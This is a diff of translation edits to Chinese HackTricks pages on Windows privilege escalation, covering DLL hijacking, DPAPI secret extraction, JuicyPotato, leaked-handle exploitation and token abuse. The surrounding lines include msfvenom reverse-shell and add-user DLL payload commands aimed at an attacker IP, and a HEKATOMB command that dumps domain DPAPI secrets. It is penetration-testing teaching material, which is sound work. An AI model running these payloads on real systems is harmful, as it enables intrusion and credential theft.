 - 确保在 **DLL** 将被 **搜索的任何目录** 中有 **写入权限**。此位置可能是可执行文件的目录或系统路径中的目录。
 
-是的，要求很难找到，因为 **默认情况下，找不到缺少 DLL 的特权可执行文件是有点奇怪的**，而且在系统路径文件夹中拥有写入权限更是 **奇怪**（默认情况下您无法做到）。但是，在配置错误的环境中，这是可能的。\
-如果您运气好，满足要求，可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使 **该项目的主要目标是绕过 UAC**，您也可能会在那里找到一个 Windows 版本的 DLL 劫持的 **PoC**（可能只需更改您有写入权限的文件夹的路径）。
+是的，要求很难找到，因为 **默认情况下，找到缺少 DLL 的特权可执行文件有点奇怪**，而且在系统路径文件夹中拥有写入权限更是 **奇怪**（默认情况下您无法做到）。但是，在配置错误的环境中，这是可能的。\
+如果您运气好，满足要求，可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使该项目的 **主要目标是绕过 UAC**，您也可能会在那里找到一个适用于您可以使用的 Windows 版本的 **DLL 劫持 PoC**（可能只需更改您有写入权限的文件夹路径）。
 
 请注意，您可以通过以下方式 **检查文件夹中的权限**：
 ```bash
@@ -106,11 +100,11 @@ writable-sys-path-+dll-hijacking-privesc.md
 ### 自动化工具
 
 [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)将检查您是否在系统PATH中的任何文件夹上具有写入权限。\
-其他发现此漏洞的有趣自动化工具包括**PowerSploit函数**：_Find-ProcessDLLHijack_，_Find-PathDLLHijack_和_Write-HijackDll_。
+其他发现此漏洞的有趣自动化工具是**PowerSploit函数**：_Find-ProcessDLLHijack_，_Find-PathDLLHijack_和_Write-HijackDll_。
 
 ### 示例
 
-如果您发现一个可利用的场景，成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何，请注意，Dll劫持在[**从中等完整性级别提升到高完整性级别（绕过UAC）**](../../authentication-credentials-uac-and-efs/#uac)或[**从高完整性提升到SYSTEM**](../#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll的示例：[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
+如果您发现一个可利用的场景，成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何，请注意，Dll劫持在[**从中等完整性级别提升到高完整性级别（绕过UAC）**](../../authentication-credentials-uac-and-efs/#uac)或从[**高完整性提升到SYSTEM**](../#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll的示例：[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
 此外，在**下一节**中，您可以找到一些**基本dll代码**，这些代码可能作为**模板**或用于创建**导出非必需函数的dll**。
 
 ## **创建和编译Dll**
@@ -131,7 +125,7 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
 ```bash
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
 ```
-**创建用户（x86，我没有看到 x64 版本）：**
+**创建用户（x86 我没有看到 x64 版本）：**
 ```
 msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
 ```
@@ -223,10 +217,5 @@ return TRUE;
 - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
 - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
 
-<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
-
-**漏洞赏金提示**：**注册** **Intigriti**，一个由黑客为黑客创建的高级**漏洞赏金平台**！今天就加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达 **$100,000** 的赏金！
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
index ff28f08e2..34963d4a3 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
@@ -18,7 +18,7 @@
 
 ### 查找缺失的Dll
 
-你需要做的第一件事是**识别一个运行权限高于你的进程**，该进程正在尝试**从你可以写入的系统路径加载Dll**。
+你需要做的第一件事是**识别一个运行权限高于你的进程**，该进程试图**从你可以写入的系统路径加载Dll**。
 
 在这种情况下的问题是，这些进程可能已经在运行。要找出哪些Dll缺失，你需要尽快启动procmon（在进程加载之前）。因此，要查找缺失的.dll，请执行以下操作：
 
@@ -61,7 +61,7 @@ $newPath = "$envPath;$folderPath"
 | 诊断策略服务 (DPS)              | Unknown.DLL        | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` |
 | ???                              | SharedRes.dll      | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup`                |
 
-找到这个之后，我发现了一篇有趣的博客文章，也解释了如何 [**滥用 WptsExtensions.dll 进行权限提升**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll)。这正是我们 **现在要做的**。
+找到这个之后，我发现了一篇有趣的博客文章，它也解释了如何 [**滥用 WptsExtensions.dll 进行权限提升**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll)。这正是我们 **现在要做的**。
 
 ### 利用
 
@@ -71,11 +71,11 @@ $newPath = "$envPath;$folderPath"
 
 > [!WARNING]
 > 请注意，**并非所有服务都以** **`NT AUTHORITY\SYSTEM`** 运行，有些服务也以 **`NT AUTHORITY\LOCAL SERVICE`** 运行，该服务具有 **较少的权限**，你 **将无法创建新用户** 来滥用其权限。\
-> 然而，该用户具有 **`seImpersonate`** 权限，因此你可以使用[ **potato suite 来提升权限**](../roguepotato-and-printspoofer.md)。因此，在这种情况下，反向 shell 是比尝试创建用户更好的选择。
+> 然而，该用户具有 **`seImpersonate`** 权限，因此你可以使用 [**potato suite 来提升权限**](../roguepotato-and-printspoofer.md)。因此，在这种情况下，反向 shell 是比尝试创建用户更好的选择。
 
-在撰写时，**任务调度程序** 服务是以 **Nt AUTHORITY\SYSTEM** 运行的。
+在撰写时，**任务调度程序** 服务以 **Nt AUTHORITY\SYSTEM** 运行。
 
-生成了恶意 Dll 之后（_在我的情况下，我使用了 x64 反向 shell，并且我得到了一个 shell，但防御者杀死了它，因为它来自 msfvenom_），将其保存到可写的系统路径中，命名为 **WptsExtensions.dll**，并 **重启** 计算机（或重启服务，或做任何需要的事情以重新运行受影响的服务/程序）。
+生成了恶意 Dll 后（_在我的情况下，我使用了 x64 反向 shell，并得到了一个 shell，但防御者杀死了它，因为它来自 msfvenom_），将其保存到可写的系统路径中，命名为 **WptsExtensions.dll**，并 **重启** 计算机（或重启服务，或做任何需要的事情以重新运行受影响的服务/程序）。
 
 当服务重新启动时，**dll 应该被加载和执行**（你可以 **重用** **procmon** 技巧来检查 **库是否按预期加载**）。
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
index 1bd740036..1177097ad 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
@@ -4,7 +4,7 @@
 
 ## 什么是 DPAPI
 
-数据保护 API (DPAPI) 主要用于 Windows 操作系统中，用于 **对称加密非对称私钥**，利用用户或系统秘密作为重要的熵来源。这种方法简化了开发人员的加密工作，使他们能够使用从用户登录秘密派生的密钥进行数据加密，或者在系统加密中使用系统的域认证秘密，从而免去开发人员自己管理加密密钥保护的需要。
+数据保护 API (DPAPI) 主要用于 Windows 操作系统中 **对称加密非对称私钥**，利用用户或系统秘密作为重要的熵来源。这种方法简化了开发人员的加密工作，使他们能够使用从用户登录秘密派生的密钥进行数据加密，或者在系统加密中使用系统的域认证秘密，从而免去开发人员自己管理加密密钥保护的需要。
 
 ### DPAPI 保护的数据
 
@@ -13,10 +13,10 @@ DPAPI 保护的个人数据包括：
 - Internet Explorer 和 Google Chrome 的密码和自动完成数据
 - 应用程序（如 Outlook 和 Windows Mail）的电子邮件和内部 FTP 账户密码
 - 共享文件夹、资源、无线网络和 Windows Vault 的密码，包括加密密钥
-- 远程桌面连接、.NET Passport 和各种加密和认证目的的私钥密码
+- 远程桌面连接、.NET Passport 和各种加密与认证目的的私钥密码
 - 由凭据管理器管理的网络密码以及使用 CryptProtectData 的应用程序中的个人数据，如 Skype、MSN messenger 等
 
-## List Vault
+## 列表 Vault
 ```bash
 # From cmd
 vaultcmd /listcreds:"Windows Credentials" /all
@@ -49,7 +49,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
 ```
 ## 主密钥
 
-用于加密用户 RSA 密钥的 DPAPI 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录下，其中 {SID} 是该用户的 [**安全标识符**](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥存储在同一个文件中**。它通常是 64 字节的随机数据。（请注意，此目录受到保护，因此您无法使用 `dir` 从 cmd 列出它，但您可以从 PS 列出它）。
+用于加密用户 RSA 密钥的 DPAPI 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录下，其中 {SID} 是该用户的 [**安全标识符**](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥存储在同一文件中**。它通常是 64 字节的随机数据。（请注意，此目录受到保护，因此您无法使用 `dir` 从 cmd 列出它，但您可以从 PS 列出它）。
 ```bash
 Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
 Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@@ -74,13 +74,13 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
 
 ## HEKATOMB
 
-[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) 是一个自动提取LDAP目录中所有用户和计算机以及通过RPC提取域控制器备份密钥的工具。该脚本将解析所有计算机的IP地址，并在所有计算机上执行smbclient以检索所有用户的所有DPAPI blob，并使用域备份密钥解密所有内容。
+[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) 是一个自动提取LDAP目录中所有用户和计算机的工具，并通过RPC提取域控制器备份密钥。然后，脚本将解析所有计算机的IP地址，并在所有计算机上执行smbclient以检索所有用户的所有DPAPI blob，并使用域备份密钥解密所有内容。
 
 `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
 
 通过从LDAP提取的计算机列表，您可以找到每个子网络，即使您不知道它们！
 
-“因为域管理员权限还不够。黑掉他们所有人。”
+“因为域管理员权限还不够。黑掉他们所有。”
 
 ## DonPAPI
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md b/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
index 7db0d39d5..5fdd4b336 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
@@ -3,8 +3,8 @@
 **代码流程：**
 
 1. 创建一个新的管道
-2. 创建并启动一个服务，该服务将连接到创建的管道并写入内容。服务代码将执行以下编码的 PS 代码：`$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
-3. 服务从管道中的客户端接收数据，调用 ImpersonateNamedPipeClient 并等待服务完成
+2. 创建并启动一个服务，该服务将连接到创建的管道并写入一些内容。服务代码将执行以下编码的 PS 代码：`$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
+3. 服务从客户端接收管道中的数据，调用 ImpersonateNamedPipeClient 并等待服务完成
 4. 最后，使用从服务获得的令牌生成一个新的 _cmd.exe_
 
 > [!WARNING]
diff --git a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
index d515d24ce..33082716e 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
@@ -4,12 +4,12 @@
 
 ## Integrity Levels
 
-在 Windows Vista 及更高版本中，所有受保护的项目都有一个 **完整性级别** 标签。此设置通常将“中等”完整性级别分配给文件和注册表项，除了某些 Internet Explorer 7 可以以低完整性级别写入的文件和文件夹。默认情况下，标准用户启动的进程具有中等完整性级别，而服务通常在系统完整性级别下运行。高完整性标签保护根目录。
+在 Windows Vista 及更高版本中，所有受保护的项目都有一个 **完整性级别** 标签。此设置通常将“中等”完整性级别分配给文件和注册表项，除了某些 Internet Explorer 7 可以以低完整性级别写入的文件夹和文件。默认情况下，标准用户启动的进程具有中等完整性级别，而服务通常在系统完整性级别下运行。高完整性标签保护根目录。
 
-一个关键规则是，具有低于对象级别的完整性级别的进程无法修改对象。完整性级别如下：
+一个关键规则是，低于对象级别的进程无法修改对象。完整性级别如下：
 
 - **不可信**：此级别适用于匿名登录的进程。 %%%示例：Chrome%%%
-- **低**：主要用于互联网交互，特别是在 Internet Explorer 的受保护模式下，影响相关文件和进程，以及某些文件夹，如 **临时 Internet 文件夹**。低完整性进程面临重大限制，包括无法写入注册表和有限的用户配置文件写入访问权限。
+- **低**：主要用于互联网交互，特别是在 Internet Explorer 的受保护模式中，影响相关文件和进程，以及某些文件夹，如 **临时 Internet 文件夹**。低完整性进程面临重大限制，包括无法写入注册表和有限的用户配置文件写入访问权限。
 - **中**：大多数活动的默认级别，分配给标准用户和没有特定完整性级别的对象。即使是管理员组的成员默认也在此级别操作。
 - **高**：保留给管理员，允许他们修改低完整性级别的对象，包括高完整性级别的对象。
 - **系统**：Windows 内核和核心服务的最高操作级别，甚至管理员也无法触及，确保保护重要的系统功能。
@@ -37,7 +37,7 @@ NT AUTHORITY\INTERACTIVE:(I)(M,DC)
 NT AUTHORITY\SERVICE:(I)(M,DC)
 NT AUTHORITY\BATCH:(I)(M,DC)
 ```
-现在，让我们为文件分配最低的完整性级别为 **高**。这 **必须在以** 管理员 **身份运行的控制台中完成**，因为 **常规控制台** 将在中等完整性级别下运行，并且 **不允许** 将高完整性级别分配给对象：
+现在，让我们为文件分配一个最低的完整性级别为 **高**。这 **必须在以** **管理员** 身份运行的 **控制台** 中完成，因为 **常规控制台** 将以中等完整性级别运行，并且 **不允许** 将高完整性级别分配给对象：
 ```
 icacls asd.txt /setintegritylevel(oi)(ci) High
 processed file: asd.txt
@@ -62,7 +62,7 @@ C:\Users\Public\asd.txt
 Access is denied.
 ```
 > [!NOTE]
-> **因此，当一个文件具有最低完整性级别时，要修改它，您需要至少在该完整性级别运行。**
+> **因此，当一个文件具有最低完整性级别时，要修改它，您需要至少以该完整性级别运行。**
 
 ### 二进制中的完整性级别
 
@@ -80,11 +80,11 @@ Mandatory Label\Low Mandatory Level:(NW)
 
 ![](<../../images/image (313).png>)
 
-对于好奇的人，如果你将高完整性级别分配给一个二进制文件（`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`），它不会自动以高完整性级别运行（如果你从中等完整性级别调用它 -- 默认情况下 -- 它将以中等完整性级别运行）。
+对于好奇的人，如果你给一个二进制文件分配高完整性级别（`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`），它不会自动以高完整性级别运行（如果你从中等完整性级别调用它 -- 默认情况下 -- 它将以中等完整性级别运行）。
 
 ### 进程中的完整性级别
 
-并非所有文件和文件夹都有最低完整性级别，**但所有进程都在完整性级别下运行**。与文件系统发生的情况类似，**如果一个进程想要在另一个进程内部写入，它必须至少具有相同的完整性级别**。这意味着低完整性级别的进程无法以完全访问权限打开中等完整性级别进程的句柄。
+并非所有文件和文件夹都有最低完整性级别，**但所有进程都在完整性级别下运行**。与文件系统发生的情况类似，**如果一个进程想要在另一个进程内写入，它必须至少具有相同的完整性级别**。这意味着低完整性级别的进程无法以完全访问权限打开中等完整性级别进程的句柄。
 
 由于本节和前一节中提到的限制，从安全角度来看，始终**建议以尽可能低的完整性级别运行进程**。
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
index 619a0e871..7d46c9269 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
@@ -19,19 +19,19 @@ _一个经过糖化的_ [_RottenPotatoNG_](https://github.com/breenmachine/Rotte
 
 [**来自 juicy-potato 的 Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
 
-[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) 及其 [变体](https://github.com/decoder-it/lonelypotato) 利用基于 [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [服务](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) 的权限提升链，具有在 `127.0.0.1:6666` 上的 MiTM 监听器，并且当你拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限时。在一次 Windows 构建审查中，我们发现一个设置，其中 `BITS` 被故意禁用，端口 `6666` 被占用。
+[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) 及其 [变种](https://github.com/decoder-it/lonelypotato) 利用基于 [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [服务](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) 的权限提升链，具有在 `127.0.0.1:6666` 上的 MiTM 监听器，并且当你拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限时。在一次 Windows 构建审查中，我们发现了一个故意禁用 `BITS` 的设置，并且端口 `6666` 被占用。
 
 我们决定武器化 [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)：**向 Juicy Potato 打个招呼**。
 
 > 有关理论，请参见 [Rotten Potato - 从服务账户到 SYSTEM 的权限提升](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) 并跟随链接和参考链。
 
-我们发现，除了 `BITS` 之外，还有几个 COM 服务器可以利用。它们只需要：
+我们发现，除了 `BITS` 之外，还有几个 COM 服务器可以被滥用。它们只需要：
 
 1. 由当前用户实例化，通常是具有模拟权限的“服务用户”
 2. 实现 `IMarshal` 接口
 3. 以提升的用户身份运行（SYSTEM，Administrator，…）
 
-经过一些测试，我们获得并测试了一份在多个 Windows 版本上的 [有趣 CLSID 的广泛列表](http://ohpe.it/juicy-potato/CLSID/)。
+经过一些测试，我们在多个 Windows 版本上获得并测试了一份广泛的 [有趣 CLSID 列表](http://ohpe.it/juicy-potato/CLSID/)。
 
 ### Juicy 细节 <a href="#juicy-details" id="juicy-details"></a>
 
@@ -47,7 +47,7 @@ JuicyPotato 允许你：
 - **要启动的进程** _如果利用成功，启动一个可执行文件或脚本_
 - **进程参数** _自定义启动进程的参数_
 - **RPC 服务器地址** _为了隐蔽的方法，你可以认证到外部 RPC 服务器_
-- **RPC 服务器端口** _如果你想认证到外部服务器并且防火墙阻止端口 `135`，这很有用…_
+- **RPC 服务器端口** _如果你想认证到外部服务器并且防火墙阻止了端口 `135`，这很有用…_
 - **测试模式** _主要用于测试目的，即测试 CLSID。它创建 DCOM 并打印令牌的用户。请参见_ [_这里进行测试_](http://ohpe.it/juicy-potato/Test/)
 
 ### 使用 <a href="#usage" id="usage"></a>
@@ -69,7 +69,7 @@ Optional args:
 ```
 ### 最后思考 <a href="#final-thoughts" id="final-thoughts"></a>
 
-[**来自 juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
+[**来自 juicy-potato 读我**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
 
 如果用户拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限，那么你就是 **SYSTEM**。
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
index 707065c82..e56f33712 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
@@ -6,12 +6,12 @@
 
 进程中的句柄允许**访问**不同的**Windows资源**：
 
-![RootedCON2022 - 利用泄露句柄进行LPE](<../../images/image (246).png>)
+![RootedCON2022 - 利用泄露句柄进行特权升级](<../../images/image (246).png>)
 
-已经有几个**权限提升**案例，其中一个**特权进程**具有**打开和可继承的句柄**，并且**运行**了一个**无特权进程**，使其**访问所有这些句柄**。
+已经有几个**特权升级**案例，其中一个**特权进程**具有**打开和可继承的句柄**，并且**运行**了一个**无特权进程**，使其**访问所有这些句柄**。
 
-例如，想象一下**一个以SYSTEM身份运行的进程打开一个新进程**（`OpenProcess()`）并具有**完全访问权限**。同一个进程**还创建了一个新进程**（`CreateProcess()`），**具有低权限但继承了主进程的所有打开句柄**。\
-然后，如果你对这个低权限进程**拥有完全访问权限**，你可以获取**通过`OpenProcess()`创建的特权进程的打开句柄**并**注入一个shellcode**。
+例如，想象一下**一个以SYSTEM身份运行的进程打开一个新进程**（`OpenProcess()`）并具有**完全访问权限**。同一进程**还创建了一个新进程**（`CreateProcess()`），**具有低权限但继承主进程的所有打开句柄**。\
+然后，如果你对低权限进程**具有完全访问权限**，你可以获取**通过`OpenProcess()`创建的特权进程的打开句柄**并**注入一个shellcode**。
 
 ## **有趣的句柄**
 
@@ -39,7 +39,7 @@
 
 ### 文件、键和节句柄
 
-如果一个**无特权进程继承了**一个**具有写入**等效**权限**的**句柄**，针对一个**特权文件或注册表**，它将能够**覆盖**该文件/注册表（并且在很多**运气**下，**提升权限**）。
+如果一个**无特权进程继承了**一个**具有写入**等效**权限**的**句柄**，并且该句柄指向一个**特权文件或注册表**，它将能够**覆盖**该文件/注册表（并且在很多**运气**下，**提升特权**）。
 
 **节句柄**类似于文件句柄，这类[对象的通用名称是**“文件映射”**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping)。它们用于处理**大文件而不将整个**文件保留在内存中。这使得利用的方式与文件句柄的利用“相似”。
 
@@ -67,14 +67,14 @@
 
 ### LeakedHandlesFinder
 
-[**这个工具**](https://github.com/lab52io/LeakedHandlesFinder)允许你**监控**泄露的**句柄**，甚至**自动利用**它们来提升权限。
+[**这个工具**](https://github.com/lab52io/LeakedHandlesFinder)允许你**监控**泄露的**句柄**，甚至**自动利用**它们来提升特权。
 
 ### 方法论
 
-现在你知道如何找到进程的句柄，你需要检查的是是否有任何**无特权进程正在访问特权句柄**。在这种情况下，进程的用户可能能够获取句柄并利用它来提升权限。
+现在你知道如何找到进程的句柄，你需要检查的是是否有任何**无特权进程正在访问特权句柄**。在这种情况下，进程的用户可能能够获取句柄并利用它来提升特权。
 
 > [!WARNING]
-> 之前提到过，你需要SeDebugPrivilege才能访问所有句柄。但**用户仍然可以访问其进程的句柄**，因此如果你想仅从该用户提升权限，**以用户常规权限执行工具**可能会很有用。
+> 之前提到过，你需要SeDebugPrivilege才能访问所有句柄。但是**用户仍然可以访问其进程的句柄**，因此如果你想仅从该用户提升特权，**以用户常规权限执行工具**可能会很有用。
 >
 > ```bash
 > handle64.exe /a | findstr /r /i "process thread file key pid:"
@@ -82,7 +82,7 @@
 
 ## 漏洞示例
 
-例如，以下代码属于一个**Windows服务**，该服务将是脆弱的。该服务二进制文件的脆弱代码位于**`Exploit`**函数内部。该函数开始**创建一个具有完全访问权限的新句柄进程**。然后，它**创建一个低权限进程**（通过复制_explorer.exe_的低权限令牌）执行_C:\users\username\desktop\client.exe_。**漏洞在于它创建低权限进程时将`bInheritHandles`设置为`TRUE`**。
+例如，以下代码属于一个**Windows服务**，该服务将是脆弱的。该服务二进制文件的脆弱代码位于**`Exploit`**函数内部。该函数开始**创建一个具有完全访问权限的新句柄进程**。然后，它**创建一个低权限进程**（通过复制_explorer.exe_的低权限令牌）执行_C:\users\username\desktop\client.exe_。**漏洞在于它以`bInheritHandles`为`TRUE`创建低权限进程**。
 
 因此，这个低权限进程能够获取首先创建的高权限进程的句柄并注入和执行一个shellcode（见下一节）。
 ```c
@@ -293,7 +293,7 @@ return 0;
 ### Exploit Example 1
 
 > [!NOTE]
-> 在实际场景中，您可能**无法控制将由易受攻击的代码执行的二进制文件**（在这种情况下为 _C:\users\username\desktop\client.exe_）。您可能会**妥协一个进程，并需要查看是否可以访问任何特权进程的任何易受攻击的句柄**。
+> 在实际场景中，您可能**无法控制将由易受攻击的代码执行的二进制文件**（在这种情况下为 _C:\users\username\desktop\client.exe_）。您可能会**妥协一个进程，并需要查看是否可以访问任何特权进程的易受攻击句柄**。
 
 在这个例子中，您可以找到 _C:\users\username\desktop\client.exe_ 的一个可能的利用代码。\
 这段代码中最有趣的部分位于 `GetVulnProcHandle`。这个函数将**开始获取所有句柄**，然后**检查它们是否属于同一个 PID**，并且句柄是否属于一个**进程**。如果满足所有这些要求（找到一个可访问的打开进程句柄），它将尝试**注入并执行一个利用该进程句柄的 shellcode**。\
@@ -503,11 +503,11 @@ return 0;
 ### Exploit Example 2
 
 > [!NOTE]
-> 在实际场景中，您可能**无法控制将由易受攻击的代码执行的二进制文件**（在这种情况下为 _C:\users\username\desktop\client.exe_）。您可能会**妥协一个进程，并需要查看是否可以访问任何特权进程的易受攻击句柄**。
+> 在实际场景中，您可能**无法控制将由易受攻击的代码执行的二进制文件**（在这种情况下为 _C:\users\username\desktop\client.exe_）。您可能会**妥协一个进程，并需要查看是否可以访问任何特权进程的任何易受攻击的句柄**。
 
-在这个例子中，**不是滥用打开的句柄来注入**和执行 shellcode，而是**使用特权打开句柄进程的令牌来创建一个新的进程**。这在第 138 行到第 148 行完成。
+在这个例子中，**不是滥用打开的句柄来注入**和执行 shellcode，而是**使用特权打开句柄进程的令牌来创建一个新的进程**。这在第 138 行到 148 行之间完成。
 
-注意**函数 `UpdateProcThreadAttribute`**是如何与**属性 `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` 和打开的特权进程的句柄**一起使用的。这意味着**创建的进程线程执行 \_cmd.exe**\_\*\*将具有与打开句柄进程相同的令牌权限\*\*。
+注意**函数 `UpdateProcThreadAttribute`**是如何与**属性 `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` 和打开的特权进程的句柄**一起使用的。这意味着**创建的进程线程执行 \_cmd.exe**\_\*\*将具有与打开的句柄进程相同的令牌特权\*\*。
 ```c
 #include <windows.h>
 #include <stdio.h>
diff --git a/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md b/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md
index af5ece188..65fc8e647 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md
@@ -2,8 +2,8 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-从 [https://www.exemsi.com/documentation/getting-started/](https://www.exemsi.com/download/) 下载免费版本的应用程序，执行它并将“恶意”二进制文件包装在其中。\
-请注意，如果您**只**想**执行** **命令行（而不是选择 cmd.exe，选择 .bat 文件）**，您可以包装一个“**.bat**”文件。
+从 [https://www.exemsi.com/documentation/getting-started/](https://www.exemsi.com/download/) 下载免费版本应用程序，执行它并将“恶意”二进制文件包装在其中。\
+请注意，如果您**只**想**执行** **命令行（而不是选择cmd.exe，请选择.bat文件）**，您可以包装一个“**.bat**”。
 
 ![](<../../images/image (417).png>)
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
index 1a475d941..65ac05346 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
@@ -14,7 +14,7 @@ access-tokens.md
 
 ### SeImpersonatePrivilege
 
-这是任何进程持有的特权，允许对任何令牌进行 impersonation（但不允许创建），前提是可以获得其句柄。可以通过诱使Windows服务（DCOM）对一个漏洞进行NTLM身份验证来获取特权令牌，从而启用以SYSTEM权限执行进程。可以使用各种工具利用此漏洞，例如 [juicy-potato](https://github.com/ohpe/juicy-potato)、[RogueWinRM](https://github.com/antonioCoco/RogueWinRM)（需要禁用winrm）、[SweetPotato](https://github.com/CCob/SweetPotato) 和 [PrintSpoofer](https://github.com/itm4n/PrintSpoofer)。
